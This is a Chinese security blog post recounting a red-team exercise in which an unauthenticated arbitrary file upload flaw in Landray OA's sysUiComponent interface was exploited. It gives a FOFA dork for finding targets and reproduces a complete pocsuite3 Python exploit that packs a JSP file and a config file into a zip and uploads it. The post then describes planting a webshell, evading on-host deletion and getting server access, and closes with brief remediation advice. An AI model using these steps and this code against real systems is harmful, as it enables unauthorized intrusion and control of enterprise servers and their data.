『红蓝对抗』记一次在攻防演练中遇到的 Landray OA

华盟原创文章投稿奖励计划

日期:2024-02-20作者:hdsec介绍:记一次在攻防演练中遇到的OA坑(Landray OA sysUiComponent 任意文件上传漏洞)。


0x00 前言

在某次演练中偶然遇到某系统采用了Landray OA,并且经过尝试发现该版本的Landray OA存在sysUiComponent任意文件上传漏洞,本以为可以轻松拿下,但还是遇到了几个小问题,仅此记录一下。

Landray OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,执行任意代码,控制服务器,威胁企业数据安全。

自动草稿

0x01 关于 Landray OA

蓝凌OA是一款企业级办公自动化软件,帮助企业实现办公流程自动化、信息化管理和团队协作。它拥有丰富的功能模块,包括文档管理、流程管理、日程管理、邮件管理、任务管理、知识管理、报表统计等,可以满足企业不同层级、不同部门的需求。

蓝凌OA支持多种接入方式,包括Web、APP、微信、钉钉等,方便用户随时随地进行办公操作。同时,蓝凌OA还提供了强大的权限管理机制和安全保障措施,确保企业数据的安全可靠性。

除此之外,蓝凌OA还可以与其他企业应用进行集成,比如ERP、CRM、HRM等,为企业提供更加全面、精细化的管理服务。

蓝凌是国内数字化办公专家,阿里钉钉唯一投资的OA厂商,阿里云知识管理与协同领域首家战略合作伙伴。蓝凌OA系统是一个全方位满足成长型企业和组织日常办公需求的管理平台,具有极强的扩展性,依托蓝凌19年大客户经验,丰富的集成组件,应用灵活拓展。系统可以极佳的性价比和超低的价格实现功能服务全场景覆盖,围绕着团队成员,全面解决日常办公需求。在移动设备上,员工可以随时随地利用碎片化时间进行协作和管理,构建高效率协作团队。此外,蓝凌OA系统还打通了钉钉考勤系统和智能OA审批流程,实现了在移动设备上随时随地进行碎片化时间的组织和24小时运行。系统的工作留痕功能可以积累每天每人每事的过程,并自动汇报、沉淀和形成内部长期可用的经验分享,可建立从目标计划、到执行反馈、定期检查、以及完成总结分享的闭环工作机制。

0x02 漏洞利用

2.1 漏洞检测

fofa搜索语句:

app="Landray-OA系统"

在目标网站上拼接如下路径,如果出现下图情况则可初步判断存在漏洞。

/sys/ui/sys_ui_component/sysUiComponent.do?method=upload

自动草稿

👇 也可以从github上下载poc进行漏洞检测。

https://github.com/Vme18000yuan/FreePOC/tree/master/poc/pocsuite

import zipfilefrom pocsuite3.api import requests, POCBase, Output, register_poc, logger, OptString, VUL_TYPE, POC_CATEGORY# from pocsuite3.lib.utils import random_str class TestPOC(POCBase): vulID = '0'  version = '1.0'  author = 'Douglas'  vulDate = '2023-11-12'  createDate = '2023-11-12' updateDate = '2023-11-12' references = ['https://mp.weixin.qq.com/s/HsjgUY183BGB5qMnD1ArOw'] name = '蓝凌OA sysUiComponent 任意文件上传' appName = '蓝凌OA' appPowerLink = 'https://www.landray.com.cn'  appVersion = '' vulType = VUL_TYPE.UPLOAD_FILES category = POC_CATEGORY.EXPLOITS.WEBAPP desc = ''' 蓝凌OA sysUiComponent 前台任意文件上传 ''' # dork = {'hunter': ''} # dork = {'fofa': 'app="Landray-OA系统"'} pocDesc = '''poc usage''' samples = [''] install_requires = ['']  def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output  def createfiles(self): ''' 创建一个test.jsp和component.ini文件,其中component.ini里面的id是保存到网站的文件夹,name是保存到网站的文件名 将这个文件压缩成一个zip文件 ''' text = "<% out.println(255*255);%>" with open("test.jsp", "w") as f: f.writelines(text) f.close()  with open("component.ini", 'w+') as f: f.write("id=2023" + "\n") f.write("name=test.jsp" + "\n") f.close()  with zipfile.ZipFile("test.zip", 'w', zipfile.ZIP_DEFLATED) as f: f.write("component.ini", "component.ini") f.write("test.jsp", "test.jsp") f.close()  def _verify(self): '''verify mode''' result = {} payload = "/sys/ui/sys_ui_component/sysUiComponent.do?method=upload" target = self.url + payload  try: r = requests.get(url=target, timeout=15, verify=False, allow_redirects=False) # print(r.status_code) # print(r.text) if r.status_code == 200: # print(r.text) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target result['VerifyInfo']['Payload'] = payload except Exception as ex: logger.error(str(ex))  return self.parse_output(result)  def _attack(self): ''' attack mode ''' result = {} # 创建压缩文件 self.createfiles() host = self.rhost port = self.rport rhost = host + ":" + str(port) headers = { "Host": rhost, "Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Accept": "*/*", "Referer": self.url + "/sys/ui/sys_ui_component/sysUiComponent.do?method=upload", "Origin": self.url, "Connection": "close", } payload = "/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo" target = self.url + payload  files = { "file": ("test.zip", open('test.zip', 'rb'), "application/zip") }   try: r = requests.post(url=target, timeout=15, verify=False, allow_redirects=False, headers=headers, files=files) # print(r.status_code) # print(r.text) if r.status_code == 200 and "directoryPath" in r.text: # print(r.text) shellpath = self.url + "/resource/ui-component/2023/test.jsp" print(shellpath) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target result['VerifyInfo']['Payload'] = payload except Exception as ex: logger.error(str(ex))  return self.parse_output(result) register_poc(TestPOC)

2.2 制作恶意zip文件

编写两个文件b.jsp和component.ini,其中b.jsp是构造的恶意木马文件。

图片

component.ini文件内容如下所示,其中id值为上传后路径,name值为上传后文件名。

图片图片

坑点一

不需要新建文件夹再进行压缩,直接右键压缩两项,生成zip压缩文件。

图片图片

坑点二

因目标系统环境问题,上传无害文件可以成功访问到,但是上传普通🐴一落地就会被删除,需要构造特殊木马进行绕过,这里经过多次尝试免杀马、大马小马等等均已失败告终。

最终在某位大佬的指导下,成功上传某木马文件获取shell,目前该木马不方便公开。如果大家也遇到像我一样的情况,大概率是因为🐴的问题。

将生成的zip文件进行上传,如果返回下图中的{"directoryPath":"202311","status":"1"},则说明上传成功。

图片

上传成功后,构造路径resource/ui-component/id值/name值进行访问。

成功获取目标服务器权限,后续就是进行常见的内网渗透了,由于本篇的重点不在内网渗透,不再进行赘述。

http://x.x.x.x/oa/resource/ui-component/202311/b.jsp

图片

0x03 修复建议

1

做好权限控制,限制未授权用户直接访问系统上传功能。

2

升级到安全版本或者打补丁。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

文章来源:宸极实验室

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

本文来源宸极实验室,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论